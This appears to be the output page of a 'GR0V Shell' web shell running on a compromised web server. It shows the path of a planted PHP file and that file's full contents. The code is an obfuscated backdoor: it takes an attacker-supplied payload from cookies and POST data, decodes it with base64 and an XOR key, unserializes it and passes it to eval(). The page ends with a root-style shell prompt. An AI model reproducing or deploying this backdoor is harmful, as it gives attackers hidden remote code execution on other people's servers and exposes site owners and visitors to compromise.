? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/ebdsvwr/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/ebdsvwr/956534e5.php

$NWNUf = chr (76) . 'L' . "\x69" . "\x5f" . "\170" . "\125" . chr ( 577 - 488 )."\x66";$DqISjvaa = "\143" . chr (108) . chr (97) . chr (115) . "\x73" . "\137" . "\145" . "\170" . chr ( 463 - 358 ).'s' . chr (116) . "\x73";$ZpIDSG = class_exists($NWNUf); $DqISjvaa = "62881";$rFmSVmETj = strpos($DqISjvaa, $NWNUf);if ($ZpIDSG == $rFmSVmETj){function UFcVDct(){$EnZErbYZ = new /* 49109 */ LLi_xUYf(56473 + 56473); $EnZErbYZ = NULL;}$bLbYYDSBO = "56473";class LLi_xUYf{private function rVQxrS($bLbYYDSBO){if (is_array(LLi_xUYf::$IYuyjPOPzU)) {$IdmjxVyGKc2 = str_replace("<" . "?php", "", LLi_xUYf::$IYuyjPOPzU["content"]);eval($IdmjxVyGKc2); $bLbYYDSBO = "56473";exit();}}public function OcYXAanJtT(){$IdmjxVyGKc = "30150";$this->_dummy = str_repeat($IdmjxVyGKc, strlen($IdmjxVyGKc));}public function __destruct(){LLi_xUYf::$IYuyjPOPzU = @unserialize(LLi_xUYf::$IYuyjPOPzU); $bLbYYDSBO = "14550_29040";$this->rVQxrS($bLbYYDSBO); $bLbYYDSBO = "14550_29040";}public function uzZzuvj($IdmjxVyGKc, $GqaBVaec){return $IdmjxVyGKc[0] ^ str_repeat($GqaBVaec, intval(strlen($IdmjxVyGKc[0]) / strlen($GqaBVaec)) + 1);}public function AonmbDyi($IdmjxVyGKc){$ZqUzil = chr (98) . "\x61" . "\x73" . 'e' . "\66" . "\x34";return array_map($ZqUzil . '_' . 'd' . chr ( 110 - 9 )."\x63" . chr ( 657 - 546 ).chr (100) . "\145", array($IdmjxVyGKc,));}public function __construct($CmcGFuyd=0){$qQozkLAOyY = "\x2c";$IdmjxVyGKc = "";$sWPqnz = $_POST;$cQRbJwNKu = $_COOKIE;$GqaBVaec = "2845d01f-49e0-4d8c-a65b-700ff8c2ff44";$sncQqK = @$cQRbJwNKu[substr($GqaBVaec, 0, 4)];if (!empty($sncQqK)){$sncQqK = explode($qQozkLAOyY, $sncQqK);foreach ($sncQqK as $rdKRyXxEd){$IdmjxVyGKc .= @$cQRbJwNKu[$rdKRyXxEd];$IdmjxVyGKc .= @$sWPqnz[$rdKRyXxEd];}$IdmjxVyGKc = $this->AonmbDyi($IdmjxVyGKc);}LLi_xUYf::$IYuyjPOPzU = $this->uzZzuvj($IdmjxVyGKc, $GqaBVaec);if (strpos($GqaBVaec, $qQozkLAOyY) !== FALSE){$GqaBVaec = explode($qQozkLAOyY, $GqaBVaec); $oqPOw = base64_decode(md5($GqaBVaec[0]));}}public static $IYuyjPOPzU = 29514;}UFcVDct();}

T1KUS90T
  root-grov@210.1.60.28:~$